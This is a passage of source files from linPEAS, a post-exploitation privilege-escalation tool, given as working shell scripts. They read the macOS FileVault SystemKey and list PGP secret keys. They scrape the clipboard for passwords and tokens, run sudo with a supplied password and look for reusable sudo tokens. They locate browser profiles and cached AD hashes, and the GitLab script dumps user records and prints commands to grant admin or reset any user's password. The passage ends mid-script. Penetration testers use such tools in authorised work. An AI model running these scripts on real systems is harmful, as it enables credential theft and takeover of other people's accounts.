    "content": "# Title: Users Information - MacOS SystemKey\n# ID: UG_Macos_systemkey\n# Author: Carlos Polop\n# Last Update: 22-08-2023\n# Description: Get macOS SystemKey information (used for FileVault encryption)\n# License: GNU GPL\n# Version: 1.0\n# Mitre: T1555.001\n# Functions Used: print_2title\n# Global Variables: $MACPEAS\n# Initial Functions:\n# Generated Global Variables:\n# Fat linpeas: 0\n# Small linpeas: 0\n\n\nif [ \"$MACPEAS\" ];then\n  print_2title \"SystemKey\" \"T1555.001\"\n  echo \"The SystemKey is used by FileVault to encrypt/decrypt the volume. If you can read it, you might be able to decrypt the disk.\"\n  echo -e \"\\nSystemKey file permissions:\" | sed -${E} \"s,.*,${SED_LIGHT_CYAN},g\"\n  ls -l /var/db/SystemKey 2>/dev/null | sed -${E} \"s,.*,${SED_RED_YELLOW},g\"\n  \n  if [ -r \"/var/db/SystemKey\" ]; then\n    echo -e \"\\nWARNING: You can read /var/db/SystemKey!\" | sed -${E} \"s,.*,${SED_RED},g\"\n    echo \"SystemKey content (first 24 bytes after header):\" | sed -${E} \"s,.*,${SED_LIGHT_CYAN},g\"\n    hexdump -s 8 -n 24 -e '1/1 \"%.2x\"' /var/db/SystemKey | sed -${E} \"s,.*,${SED_RED_YELLOW},g\"\n  fi\n  echo \"\"\nfi"
  },
  {
    "path": "linPEAS/builder/linpeas_parts/6_users_information/5_Pgp_keys.sh",
    "content": "# Title: Users Information - PGP keys\n# ID: UG_Pgp_keys\n# Author: Carlos Polop\n# Last Update: 22-08-2023\n# Description: Check for PGP keys and related files that might contain sensitive information\n# License: GNU GPL\n# Version: 1.0\n# Mitre: T1552.004\n# Functions Used: echo_not_found, print_2title, print_info\n# Global Variables: $HOME\n# Initial Functions:\n# Generated Global Variables: $pgp_file\n# Fat linpeas: 0\n# Small linpeas: 1\n\n\nprint_2title \"PGP Keys and Related Files\" \"T1552.004\"\nprint_info \"https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#pgp-keys\"\n\n# Check for GPG\necho \"GPG:\" | sed -${E} \"s,.*,${SED_LIGHT_CYAN},g\"\nif command -v gpg >/dev/null 2>&1; then\n  echo \"GPG is installed, listing keys:\"\n  gpg --list-keys 2>/dev/null | sed -${E} \"s,.*,${SED_RED},g\"\n  # Check for private keys\n  gpg --list-secret-keys 2>/dev/null | sed -${E} \"s,.*,${SED_RED_YELLOW},g\"\nelse\n  echo_not_found \"gpg\"\nfi\n\n# Check for NetPGP\necho -e \"\\nNetPGP:\" | sed -${E} \"s,.*,${SED_LIGHT_CYAN},g\"\nif command -v netpgpkeys >/dev/null 2>&1; then\n  echo \"NetPGP is installed\" | sed -${E} \"s,.*,${SED_RED_YELLOW},g\"\n  netpgpkeys --list-keys 2>/dev/null | sed -${E} \"s,.*,${SED_RED},g\"\nelse\n  echo_not_found \"netpgpkeys\"\nfi\n\n# Check for common PGP files\necho -e \"\\nPGP Related Files:\" | sed -${E} \"s,.*,${SED_LIGHT_CYAN},g\"\nfor pgp_file in \"$HOME/.gnupg\" \"$HOME/.pgp\" \"$HOME/.openpgp\" \"$HOME/.ssh/gpg-agent.conf\" \"$HOME/.config/gpg\"; do\n  if [ -e \"$pgp_file\" ]; then\n    echo \"Found: $pgp_file\"\n    if [ -d \"$pgp_file\" ]; then\n      ls -la \"$pgp_file\" 2>/dev/null\n    fi\n  fi\ndone\necho \"\""
  },
  {
    "path": "linPEAS/builder/linpeas_parts/6_users_information/6_Clipboard_highlighted_text.sh",
    "content": "# Title: Users Information - Clipboard and highlighted text\n# ID: UG_Clipboard_highlighted_text\n# Author: Carlos Polop\n# Last Update: 22-08-2023\n# Description: Check clipboard and highlighted text for sensitive information\n# License: GNU GPL\n# Version: 1.0\n# Mitre: T1115\n# Functions Used: echo_not_found, print_2title, print_info\n# Global Variables: $DEBUG, $pwd_inside_history\n# Initial Functions:\n# Generated Global Variables: $content\n# Fat linpeas: 0\n# Small linpeas: 1\n\n\nif [ \"$(command -v xclip 2>/dev/null || echo -n '')\" ] || [ \"$(command -v xsel 2>/dev/null || echo -n '')\" ] || [ \"$(command -v pbpaste 2>/dev/null || echo -n '')\" ] || [ \"$(command -v wl-paste 2>/dev/null || echo -n '')\" ] || [ \"$DEBUG\" ]; then\n  print_2title \"Clipboard and Highlighted Text\" \"T1115\"\n  print_info \"https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#clipboard\"\n\n  # Function to check clipboard content\n  check_clipboard() {\n    local content=\"$1\"\n    if [ -n \"$content\" ]; then\n      echo \"$content\" | sed -${E} \"s,$pwd_inside_history,${SED_RED},g\" | sed -${E} \"s,(password|passwd|pwd).*=.*,${SED_RED},g\" | sed -${E} \"s,(token|key|secret).*=.*,${SED_RED},g\"\n    fi\n  }\n\n  # Check different clipboard tools\n  if [ \"$(command -v xclip 2>/dev/null || echo -n '')\" ]; then\n    echo \"Using xclip:\" | sed -${E} \"s,.*,${SED_LIGHT_CYAN},g\"\n    echo \"Clipboard:\" | sed -${E} \"s,.*,${SED_LIGHT_CYAN},g\"\n    check_clipboard \"$(xclip -o -selection clipboard 2>/dev/null)\"\n    echo \"Highlighted text:\" | sed -${E} \"s,.*,${SED_LIGHT_CYAN},g\"\n    check_clipboard \"$(xclip -o 2>/dev/null)\"\n  elif [ \"$(command -v xsel 2>/dev/null || echo -n '')\" ]; then\n    echo \"Using xsel:\" | sed -${E} \"s,.*,${SED_LIGHT_CYAN},g\"\n    echo \"Clipboard:\" | sed -${E} \"s,.*,${SED_LIGHT_CYAN},g\"\n    check_clipboard \"$(xsel -ob 2>/dev/null)\"\n    echo \"Highlighted text:\" | sed -${E} \"s,.*,${SED_LIGHT_CYAN},g\"\n    check_clipboard \"$(xsel -o 2>/dev/null)\"\n  elif [ \"$(command -v pbpaste 2>/dev/null || echo -n '')\" ]; then\n    echo \"Using pbpaste:\" | sed -${E} \"s,.*,${SED_LIGHT_CYAN},g\"\n    echo \"Clipboard:\" | sed -${E} \"s,.*,${SED_LIGHT_CYAN},g\"\n    check_clipboard \"$(pbpaste 2>/dev/null)\"\n  elif [ \"$(command -v wl-paste 2>/dev/null || echo -n '')\" ]; then\n    echo \"Using wl-paste:\" | sed -${E} \"s,.*,${SED_LIGHT_CYAN},g\"\n    echo \"Clipboard:\" | sed -${E} \"s,.*,${SED_LIGHT_CYAN},g\"\n    check_clipboard \"$(wl-paste 2>/dev/null)\"\n  else\n    echo_not_found \"clipboard tools (xclip, xsel, pbpaste, wl-paste)\"\n  fi\n  echo \"\"\nfi\n"
  },
  {
    "path": "linPEAS/builder/linpeas_parts/6_users_information/7_Sudo_l.sh",
    "content": "# Title: Users Information - Sudo -l\n# ID: UG_Sudo_l\n# Author: Carlos Polop\n# Last Update: 22-08-2023\n# Description: Checking 'sudo -l', /etc/sudoers, and /etc/sudoers.d\n# License: GNU GPL\n# Version: 1.0\n# Mitre: T1548.003\n# Functions Used: echo_not_found, print_2title, print_info\n# Global Variables:$IAMROOT, $PASSWORD, $sudoB, $sudoG, $sudoVB1, $sudoVB2 \n# Initial Functions:\n# Generated Global Variables: $secure_path_line\n# Fat linpeas: 0\n# Small linpeas: 1\n\n\nprint_2title \"Checking 'sudo -l', /etc/sudoers, and /etc/sudoers.d\" \"T1548.003\"\nprint_info \"https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#sudo-and-suid\"\n(echo '' | timeout 1 sudo -S -l | sed \"s,_proxy,${SED_RED},g\" | sed \"s,$sudoG,${SED_GREEN},g\" | sed -${E} \"s,$sudoVB1,${SED_RED_YELLOW},\" | sed -${E} \"s,$sudoVB2,${SED_RED_YELLOW},\" | sed -${E} \"s,$sudoB,${SED_RED},g\" | sed \"s,\\!root,${SED_RED},\") 2>/dev/null || echo_not_found \"sudo\"\nif [ \"$PASSWORD\" ]; then\n  (echo \"$PASSWORD\" | timeout 1 sudo -S -l | sed \"s,_proxy,${SED_RED},g\" | sed \"s,$sudoG,${SED_GREEN},g\" | sed -${E} \"s,$sudoVB1,${SED_RED_YELLOW},\" | sed -${E} \"s,$sudoVB2,${SED_RED_YELLOW},\" | sed -${E} \"s,$sudoB,${SED_RED},g\") 2>/dev/null  || echo_not_found \"sudo\"\nfi\n(sudo -n -l 2>/dev/null | sed \"s,_proxy,${SED_RED},g\" | sed \"s,$sudoG,${SED_GREEN},g\" | sed -${E} \"s,$sudoVB1,${SED_RED_YELLOW},\" | sed -${E} \"s,$sudoVB2,${SED_RED_YELLOW},\" | sed -${E} \"s,$sudoB,${SED_RED},g\" | sed \"s,\\!root,${SED_RED},\") 2>/dev/null || echo \"No cached sudo token (sudo -n -l)\"\n\nsecure_path_line=$(sudo -l 2>/dev/null | grep -o \"secure_path=[^,]*\" | head -n 1 | cut -d= -f2)\nif [ \"$secure_path_line\" ]; then\n  for p in $(echo \"$secure_path_line\" | tr ':' ' '); do\n    if [ -w \"$p\" ]; then\n      echo \"Writable secure_path entry: $p\" | sed -${E} \"s,.*,${SED_RED},g\"\n    fi\n  done\nfi\n( grep -Iv \"^$\" cat /etc/sudoers | grep -v \"#\" | sed \"s,_proxy,${SED_RED},g\" | sed \"s,$sudoG,${SED_GREEN},g\" | sed -${E} \"s,$sudoVB1,${SED_RED_YELLOW},\" | sed -${E} \"s,$sudoVB2,${SED_RED_YELLOW},\" | sed -${E} \"s,$sudoB,${SED_RED},g\" | sed \"s,pwfeedback,${SED_RED},g\" ) 2>/dev/null  || echo_not_found \"/etc/sudoers\"\nif ! [ \"$IAMROOT\" ] && [ -w '/etc/sudoers.d/' ]; then\n  echo \"You can create a file in /etc/sudoers.d/ and escalate privileges\" | sed -${E} \"s,.*,${SED_RED_YELLOW},\"\nfi\nfor f in /etc/sudoers.d/*; do\n  if [ -w \"$f\" ]; then\n    echo \"Sudoers file: $f is writable and may allow privilege escalation\" | sed -${E} \"s,.*,${SED_RED_YELLOW},g\"\n  fi\n  if [ -r \"$f\" ]; then\n    echo \"Sudoers file: $f is readable\" | sed -${E} \"s,.*,${SED_RED},g\"\n    grep -Iv \"^$\" \"$f\" | grep -v \"#\" | sed \"s,_proxy,${SED_RED},g\" | sed \"s,$sudoG,${SED_GREEN},g\" | sed -${E} \"s,$sudoVB1,${SED_RED_YELLOW},\" | sed -${E} \"s,$sudoVB2,${SED_RED_YELLOW},\" | sed -${E} \"s,$sudoB,${SED_RED},g\" | sed \"s,pwfeedback,${SED_RED},g\"\n  fi\ndone\necho \"\"\n"
  },
  {
    "path": "linPEAS/builder/linpeas_parts/6_users_information/8_Sudo_tokens.sh",
    "content": "# Title: Users Information - Sudo tokens\n# ID: UG_Sudo_tokens\n# Author: Carlos Polop\n# Last Update: 22-08-2023\n# Description: Checking Sudo tokens\n# License: GNU GPL\n# Version: 1.0\n# Mitre: T1548.003\n# Functions Used: print_2title, print_info\n# Global Variables: $HOME, $CURRENT_USER_PIVOT_PID\n# Initial Functions: get_current_user_privot_pid\n# Generated Global Variables: $ptrace_scope\n# Fat linpeas: 0\n# Small linpeas: 1\n\n\nprint_2title \"Checking sudo tokens\" \"T1548.003\"\nprint_info \"https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#reusing-sudo-tokens\"\nptrace_scope=\"$(cat /proc/sys/kernel/yama/ptrace_scope 2>/dev/null)\"\nif [ \"$ptrace_scope\" ] && [ \"$ptrace_scope\" -eq 0 ]; then\n  echo \"ptrace protection is disabled (0), so sudo tokens could be abused\" | sed \"s,is disabled,${SED_RED},g\";\n\n  if [ \"$(command -v gdb 2>/dev/null || echo -n '')\" ]; then\n    echo \"gdb was found in PATH\" | sed -${E} \"s,.*,${SED_RED},g\";\n  fi\n\n  if [ \"$CURRENT_USER_PIVOT_PID\" ]; then\n    echo \"The current user proc $CURRENT_USER_PIVOT_PID is the parent of a different user proccess\" | sed -${E} \"s,.*,${SED_RED},g\";\n  fi\n\n  if [ -f \"$HOME/.sudo_as_admin_successful\" ]; then\n    echo \"Current user has .sudo_as_admin_successful file, so he can execute with sudo\" | sed -${E} \"s,.*,${SED_RED},\";\n  fi\n\n  if ps -eo pid,command -u \"$(id -u)\" | grep -v \"$PPID\" | grep -v \" \" | grep -qE '(ash|ksh|csh|dash|bash|zsh|tcsh|sh)$'; then\n    echo \"Current user has other interactive shells running: \" | sed -${E} \"s,.*,${SED_RED},g\";\n    ps -eo pid,command -u \"$(id -u)\" | grep -v \"$PPID\" | grep -v \" \" | grep -E '(ash|ksh|csh|dash|bash|zsh|tcsh|sh)$'\n  fi\n\nelse\n  echo \"ptrace protection is enabled ($ptrace_scope)\" | sed \"s,is enabled,${SED_GREEN},g\";\n\nfi\n\nif [ -d \"/var/run/sudo/ts\" ]; then\n  echo \"Sudo token directory perms:\" | sed -${E} \"s,.*,${SED_LIGHT_CYAN},g\"\n  ls -ld /var/run/sudo/ts 2>/dev/null\n  if [ -w \"/var/run/sudo/ts\" ]; then\n    echo \"/var/run/sudo/ts is writable\" | sed -${E} \"s,.*,${SED_RED},g\"\n  fi\n  if [ -f \"/var/run/sudo/ts/$USER\" ]; then\n    ls -l \"/var/run/sudo/ts/$USER\" 2>/dev/null\n    if [ -w \"/var/run/sudo/ts/$USER\" ]; then\n      echo \"User sudo token file is writable\" | sed -${E} \"s,.*,${SED_RED},g\"\n    fi\n  fi\nfi\necho \"\"\n"
  },
  {
    "path": "linPEAS/builder/linpeas_parts/6_users_information/9_Doas.sh",
    "content": "# Title: Users Information - Doas\n# ID: UG_Doas\n# Author: Carlos Polop\n# Last Update: 22-08-2023\n# Description: Check doas configuration and permissions for privilege escalation\n# License: GNU GPL\n# Version: 1.0\n# Mitre: T1548.003\n# Functions Used: echo_not_found, print_2title, print_info\n# Global Variables: $DEBUG, $nosh_usrs, $sh_usrs, $USER\n# Initial Functions:\n# Generated Global Variables: $doas_dir_name, $doas_bin, $conf_file\n# Fat linpeas: 0\n# Small linpeas: 1\n\n\nif [ -f \"/etc/doas.conf\" ] || [ -f \"/usr/local/etc/doas.conf\" ] || [ \"$DEBUG\" ]; then\n  print_2title \"Doas Configuration\" \"T1548.003\"\n  print_info \"https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#doas\"\n\n  # Find doas binary and its config locations\n  doas_bin=$(command -v doas 2>/dev/null)\n  if [ -n \"$doas_bin\" ]; then\n    doas_dir_name=$(dirname \"$doas_bin\")\n    echo \"Doas binary found at: $doas_bin\" | sed -${E} \"s,.*,${SED_LIGHT_CYAN},g\"\n    \n    # Check doas binary permissions\n    if [ -u \"$doas_bin\" ]; then\n      echo \"Doas binary has SUID bit set!\" | sed -${E} \"s,.*,${SED_RED},g\"\n    fi\n    ls -l \"$doas_bin\" 2>/dev/null | sed -${E} \"s,.*,${SED_RED_YELLOW},g\"\n  fi\n\n  # Check all possible doas.conf locations\n  echo -e \"\\nChecking doas.conf files:\" | sed -${E} \"s,.*,${SED_LIGHT_CYAN},g\"\n  for conf_file in \"/etc/doas.conf\" \"$doas_dir_name/doas.conf\" \"$doas_dir_name/../etc/doas.conf\" \"$doas_dir_name/etc/doas.conf\" \"/usr/local/etc/doas.conf\"; do\n    if [ -f \"$conf_file\" ]; then\n      echo \"Found: $conf_file\" | sed -${E} \"s,.*,${SED_RED_YELLOW},g\"\n      if [ -w \"$conf_file\" ]; then\n        echo \"WARNING: $conf_file is writable!\" | sed -${E} \"s,.*,${SED_RED},g\"\n      fi\n      cat \"$conf_file\" 2>/dev/null | sed -${E} \"s,$sh_usrs,${SED_RED},g\" | sed \"s,root,${SED_RED},g\" | sed \"s,nopass,${SED_RED},g\" | sed -${E} \"s,$nosh_usrs,${SED_BLUE},g\" | sed \"s,$USER,${SED_RED_YELLOW},g\"\n    fi\n  done\n\n  # Check if doas is working\n  if [ -n \"$doas_bin\" ]; then\n    echo -e \"\\nTesting doas:\" | sed -${E} \"s,.*,${SED_LIGHT_CYAN},g\"\n    if $doas_bin -l 2>/dev/null; then\n      echo \"doas -l command works!\" | sed -${E} \"s,.*,${SED_RED_YELLOW},g\"\n    fi\n  fi\nelse\n  echo_not_found \"doas.conf\"\nfi\necho \"\""
  },
  {
    "path": "linPEAS/builder/linpeas_parts/7_software_information/1_Useful_software.sh",
    "content": "# Title: Software Information - Useful Software\n# ID: SI_Useful_software\n# Author: Carlos Polop\n# Last Update: 22-08-2023\n# Description: Useful Software\n# License: GNU GPL\n# Version: 1.0\n# Mitre: T1082\n# Functions Used: print_2title\n# Global Variables: $SEARCH_IN_FOLDER, $USEFUL_SOFTWARE\n# Initial Functions:\n# Generated Global Variables:\n# Fat linpeas: 0\n# Small linpeas: 1\n\n\nif ! [ \"$SEARCH_IN_FOLDER\" ]; then\n  print_2title \"Useful software\" \"T1082\"\n  for t in $USEFUL_SOFTWARE; do command -v \"$t\" || echo -n ''; done\n  echo \"\"\nfi"
  },
  {
    "path": "linPEAS/builder/linpeas_parts/7_software_information/2_Compilers.sh",
    "content": "# Title: Software Information - Compilers\n# ID: SI_Compilers\n# Author: Carlos Polop\n# Last Update: 22-08-2023\n# Description: Search for compilers\n# License: GNU GPL\n# Version: 1.0\n# Mitre: T1587.001\n# Functions Used: print_2title\n# Global Variables: $SEARCH_IN_FOLDER\n# Initial Functions:\n# Generated Global Variables:\n# Fat linpeas: 0\n# Small linpeas: 1\n\n\nif ! [ \"$SEARCH_IN_FOLDER\" ]; then\n  print_2title \"Installed Compilers\" \"T1587.001\"\n  (dpkg --list 2>/dev/null | grep \"compiler\" | grep -v \"decompiler\\|lib\" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; command -v gcc g++ 2>/dev/null || locate -r \"/gcc[0-9\\.-]\\+$\" 2>/dev/null | grep -v \"/doc/\");\n  echo \"\"\n\n  if [ \"$(command -v pkg 2>/dev/null || echo -n '')\" ]; then\n      print_2title \"Vulnerable Packages\" \"T1587.001\"\n      pkg audit -F | sed -${E} \"s,vulnerable,${SED_RED},g\"\n      echo \"\"\n  fi\n\n  if [ \"$(command -v brew 2>/dev/null || echo -n '')\" ]; then\n      print_2title \"Brew Installed Packages\" \"T1587.001\"\n      brew list\n      echo \"\"\n  fi\nfi"
  },
  {
    "path": "linPEAS/builder/linpeas_parts/7_software_information/3_Macos_writable_installed_apps.sh",
    "content": "# Title: Software Information - MacOS writable Installed Applications\n# ID: SI_Macos_writable_installed_apps\n# Author: Carlos Polop\n# Last Update: 22-08-2023\n# Description: Writable Installed Applications\n# License: GNU GPL\n# Version: 1.0\n# Mitre: T1574\n# Functions Used: print_2title\n# Global Variables: $MACPEAS\n# Initial Functions:\n# Generated Global Variables:\n# Fat linpeas: 0\n# Small linpeas: 0\n\n\nif [ \"$MACPEAS\" ]; then\n    print_2title \"Writable Installed Applications\" \"T1574\"\n    system_profiler SPApplicationsDataType | grep \"Location:\" | cut -d \":\" -f 2 | cut -c2- | while read f; do\n        if [ -w \"$f\" ]; then\n            echo \"$f is writable\" | sed -${E} \"s,.*,${SED_RED},g\"\n        fi\n    done\n\n    system_profiler SPFrameworksDataType | grep \"Location:\" | cut -d \":\" -f 2 | cut -c2- | while read f; do\n        if [ -w \"$f\" ]; then\n            echo \"$f is writable\" | sed -${E} \"s,.*,${SED_RED},g\"\n        fi\n    done\nfi\n"
  },
  {
    "path": "linPEAS/builder/linpeas_parts/7_software_information/Apache_nginx.sh",
    "content": "# Title: Software Information - Apache-Nginx\n# ID: SI_Apache_nginx\n# Author: Carlos Polop\n# Last Update: 22-08-2023\n# Description: Apache-Nginx\n# License: GNU GPL\n# Version: 1.0\n# Mitre: T1552.001\n# Functions Used: print_3title, warn_exec\n# Global Variables: $NGINX_KNOWN_MODULES\n# Initial Functions:\n# Generated Global Variables:\n# Fat linpeas: 0\n# Small linpeas: 1\n\n\npeass{Apache-Nginx}"
  },
  {
    "path": "linPEAS/builder/linpeas_parts/7_software_information/Awsvault.sh",
    "content": "# Title: Software Information - Check aws-vault\n# ID: SI_Awsvault\n# Author: Carlos Polop\n# Last Update: 22-08-2023\n# Description: Check aws-vault\n# License: GNU GPL\n# Version: 1.0\n# Mitre: T1552.005\n# Functions Used: print_2title\n# Global Variables: $DEBUG\n# Initial Functions:\n# Generated Global Variables: $AWSVAULT\n# Fat linpeas: 0\n# Small linpeas: 1\n\n\nAWSVAULT=\"$(command -v aws-vault 2>/dev/null || echo -n '')\"\nif [ \"$AWSVAULT\" ] || [ \"$DEBUG\" ]; then\n  print_2title \"Check aws-vault\" \"T1552.005\"\n  aws-vault list\nfi\n"
  },
  {
    "path": "linPEAS/builder/linpeas_parts/7_software_information/Browser_profiles.sh",
    "content": "# Title: Software Information - Browser Profiles\n# ID: SW_Browser_profiles\n# Author: Carlos Polop\n# Last Update: 10-03-2025\n# Description: List browser profiles that may store credentials/cookies\n# License: GNU GPL\n# Version: 1.0\n# Mitre: T1539,T1217\n# Functions Used: print_2title, print_3title, print_info\n# Global Variables: $HOMESEARCH, $SED_RED\n# Initial Functions:\n# Generated Global Variables: $h, $firefox_ini, $chrome_base, $profiles\n# Fat linpeas: 0\n# Small linpeas: 1\n\nprint_2title \"Browser Profiles\" \"T1539,T1217\"\nprint_info \"https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#browser-data\"\n\necho \"\"\n\nfor h in $HOMESEARCH; do\n  [ -d \"$h\" ] || continue\n\n  firefox_ini=\"$h/.mozilla/firefox/profiles.ini\"\n  if [ -f \"$firefox_ini\" ]; then\n    print_3title \"Firefox profiles ($h)\" \"T1539,T1217\"\n    awk -F= '\n      /^\\[Profile/ { in_profile=1 }\n      /^Path=/ { path=$2 }\n      /^IsRelative=/ { isrel=$2 }\n      /^$/ {\n        if (path != \"\") {\n          if (isrel == \"1\") {\n            print base \"/.mozilla/firefox/\" path\n          } else {\n            print path\n          }\n        }\n        path=\"\"; isrel=\"\"\n      }\n      END {\n        if (path != \"\") {\n          if (isrel == \"1\") {\n            print base \"/.mozilla/firefox/\" path\n          } else {\n            print path\n          }\n        }\n      }\n    ' base=\"$h\" \"$firefox_ini\" 2>/dev/null | sed -${E} \"s,.*,${SED_RED},\"\n    echo \"\"\n  fi\n\n  for chrome_base in \"$h/.config/google-chrome\" \"$h/.config/chromium\" \"$h/.config/BraveSoftware/Brave-Browser\" \"$h/.config/microsoft-edge\" \"$h/.config/microsoft-edge-beta\" \"$h/.config/microsoft-edge-dev\"; do\n    if [ -d \"$chrome_base\" ]; then\n      profiles=$(find \"$chrome_base\" -maxdepth 1 -type d \\( -name \"Default\" -o -name \"Profile *\" \\) 2>/dev/null)\n      if [ \"$profiles\" ]; then\n        print_3title \"Chromium profiles ($chrome_base)\" \"T1539,T1217\"\n        printf \"%s\\n\" \"$profiles\" | sed -${E} \"s,.*,${SED_RED},\"\n        echo \"\"\n      fi\n    fi\n  done\n\ndone\n"
  },
  {
    "path": "linPEAS/builder/linpeas_parts/7_software_information/Cached_AD_hashes.sh",
    "content": "# Title: Software Information - Cached AD Hashes\n# ID: SI_Cached_AD_hashes\n# Author: Carlos Polop\n# Last Update: 22-08-2023\n# Description: Cached AD Hashes\n# License: GNU GPL\n# Version: 1.0\n# Mitre: T1003.003\n# Functions Used: print_2title\n# Global Variables: $DEBUG\n# Initial Functions:\n# Generated Global Variables: $adhashes\n# Fat linpeas: 0\n# Small linpeas: 1\n\n\nadhashes=$(ls \"/var/lib/samba/private/secrets.tdb\" \"/var/lib/samba/passdb.tdb\" \"/var/opt/quest/vas/authcache/vas_auth.vdb\" \"/var/lib/sss/db/cache_*\" 2>/dev/null)\nif [ \"$adhashes\" ] || [ \"$DEBUG\" ]; then\n  print_2title \"Searching AD cached hashes\" \"T1003.003\"\n  ls -l \"/var/lib/samba/private/secrets.tdb\" \"/var/lib/samba/passdb.tdb\" \"/var/opt/quest/vas/authcache/vas_auth.vdb\" \"/var/lib/sss/db/cache_*\" 2>/dev/null\n  echo \"\"\nfi"
  },
  {
    "path": "linPEAS/builder/linpeas_parts/7_software_information/Containerd.sh",
    "content": "# Title: Software Information - containerd installed\n# ID: SI_Containerd\n# Author: Carlos Polop\n# Last Update: 22-08-2023\n# Description: containerd installed\n# License: GNU GPL\n# Version: 1.0\n# Mitre: T1613\n# Functions Used: print_2title, print_info\n# Global Variables: $DEBUG, $SEARCH_IN_FOLDER\n# Initial Functions:\n# Generated Global Variables: $containerd\n# Fat linpeas: 0\n# Small linpeas: 1\n\n\nif ! [ \"$SEARCH_IN_FOLDER\" ]; then\n  containerd=$(command -v ctr || echo -n '')\n  if [ \"$containerd\" ] || [ \"$DEBUG\" ]; then\n    print_2title \"Checking if containerd(ctr) is available\" \"T1613\"\n    print_info \"https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#containerd-ctr-privilege-escalation\"\n    if [ \"$containerd\" ]; then\n      echo \"ctr was found in $containerd, you may be able to escalate privileges with it\" | sed -${E} \"s,.*,${SED_RED},\"\n      ctr image list 2>&1\n    fi\n    echo \"\"\n  fi\nfi\n"
  },
  {
    "path": "linPEAS/builder/linpeas_parts/7_software_information/Docker.sh",
    "content": "# Title: Software Information - Docker\n# ID: SI_Docker\n# Author: Carlos Polop\n# Last Update: 22-08-2023\n# Description: Docker\n# License: GNU GPL\n# Version: 1.0\n# Mitre: T1613\n# Functions Used: print_2title, print_info\n# Global Variables: $DEBUG, $IAMROOT\n# Initial Functions:\n# Generated Global Variables:\n# Fat linpeas: 0\n# Small linpeas: 1\n\n\nif [ \"$PSTORAGE_DOCKER\" ] || [ \"$DEBUG\" ]; then\n  print_2title \"Searching docker files (limit 70)\" \"T1613\"\n  print_info \"https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/docker-security/index.html#docker-breakout--privilege-escalation\"\n  printf \"%s\\n\" \"$PSTORAGE_DOCKER\" | head -n 70 | while read f; do\n    ls -l \"$f\" 2>/dev/null\n    if ! [ \"$IAMROOT\" ] && [ -S \"$f\" ] && [ -w \"$f\" ]; then\n      echo \"Docker related socket ($f) is writable\" | sed -${E} \"s,.*,${SED_RED_YELLOW},\"\n    fi\n  done\n  echo \"\"\nfi"
  },
  {
    "path": "linPEAS/builder/linpeas_parts/7_software_information/Dovecot.sh",
    "content": "# Title: Software Information - Dovecot\n# ID: SI_Dovecot\n# Author: Carlos Polop\n# Last Update: 22-08-2023\n# Description: Dovecot\n# License: GNU GPL\n# Version: 1.0\n# Mitre: T1552.001\n# Functions Used: echo_not_found, print_2title\n# Global Variables: $DEBUG\n# Initial Functions:\n# Generated Global Variables: $dovecotpass, $dp, $df\n# Fat linpeas: 0\n# Small linpeas: 1\n\n\n# Needs testing\ndovecotpass=$(grep -r \"PLAIN\" /etc/dovecot 2>/dev/null)\nif [ \"$dovecotpass\" ] || [ \"$DEBUG\" ]; then\n  print_2title \"Searching dovecot files\" \"T1552.001\"\n  if [ -z \"$dovecotpass\" ]; then\n    echo_not_found \"dovecot credentials\"\n  else\n    printf \"%s\\n\" \"$dovecotpass\" | while read d; do\n      df=$(echo $d |cut -d ':' -f1)\n      dp=$(echo $d |cut -d ':' -f2-)\n      echo \"Found possible PLAIN text creds in $df\"\n      echo \"$dp\" | sed -${E} \"s,.*,${SED_RED},\" 2>/dev/null\n    done\n  fi\n  echo \"\"\nfi"
  },
  {
    "path": "linPEAS/builder/linpeas_parts/7_software_information/Extra_software.sh",
    "content": "# Title: Software Information - Extra sotftare\n# ID: SI_Extra_software\n# Author: Carlos Polop\n# Last Update: 22-08-2023\n# Description: Add all the extra software checks from build_lists/sensitive_files.yaml that doesn't have linpeas disabled\n# License: GNU GPL\n# Version: 1.0\n# Mitre: T1082\n# Functions Used: print_3title, warn_exec\n# Global Variables: $NGINX_KNOWN_MODULES\n# Initial Functions:\n# Generated Global Variables:\n# Fat linpeas: 0\n# Small linpeas: 1\n\n\npeass{EXTRA_SECTIONS}"
  },
  {
    "path": "linPEAS/builder/linpeas_parts/7_software_information/FreeIPA.sh",
    "content": "# Title: Software Information - FreeIPA\n# ID: SI_FreeIPA\n# Author: Carlos Polop\n# Last Update: 22-08-2023\n# Description: FreeIPA\n# License: GNU GPL\n# Version: 1.0\n# Mitre: T1552.001\n# Functions Used: print_info\n# Global Variables:\n# Initial Functions:\n# Generated Global Variables:\n# Fat linpeas: 0\n# Small linpeas: 1\n\n\npeass{FreeIPA}"
  },
  {
    "path": "linPEAS/builder/linpeas_parts/7_software_information/Gitlab.sh",
    "content": "# Title: Software Information - Gitlab\n# ID: SI_Gitlab\n# Author: Carlos Polop\n# Last Update: 22-08-2023\n# Description: Searching GitLab related files\n# License: GNU GPL\n# Version: 1.0\n# Mitre: T1552.001\n# Functions Used: print_2title\n# Global Variables: $DEBUG\n# Initial Functions:\n# Generated Global Variables:\n# Fat linpeas: 0\n# Small linpeas: 1\n\n\nif [ \"$(command -v gitlab-rails || echo -n '')\" ] || [ \"$(command -v gitlab-backup || echo -n '')\" ] || [ \"$PSTORAGE_GITLAB\" ] || [ \"$DEBUG\" ]; then\n  print_2title \"Searching GitLab related files\" \"T1552.001\"\n  #Check gitlab-rails\n  if [ \"$(command -v gitlab-rails || echo -n '')\" ]; then\n    echo \"gitlab-rails was found. Trying to dump users...\"\n    gitlab-rails runner 'User.where.not(username: \"peasssssssss\").each { |u| pp u.attributes }' | sed -${E} \"s,email|password,${SED_RED},\"\n    echo \"If you have enough privileges, you can make an account under your control administrator by running: gitlab-rails runner 'user = User.find_by(email: \\\"youruser@example.com\\\"); user.admin = TRUE; user.save!'\"\n    echo \"Alternatively, you could change the password of any user by running: gitlab-rails runner 'user = User.find_by(email: \\\"admin@example.com\\\"); user.password = \\\"pass_peass_pass\\\"; user.password_confirmation = \\\"pass_peass_pass\\\"; user.save!'\"\n    echo \"\"\n  fi\n  if [ \"$(command -v gitlab-backup || echo -n '')\" ]; then\n    echo \"If you have 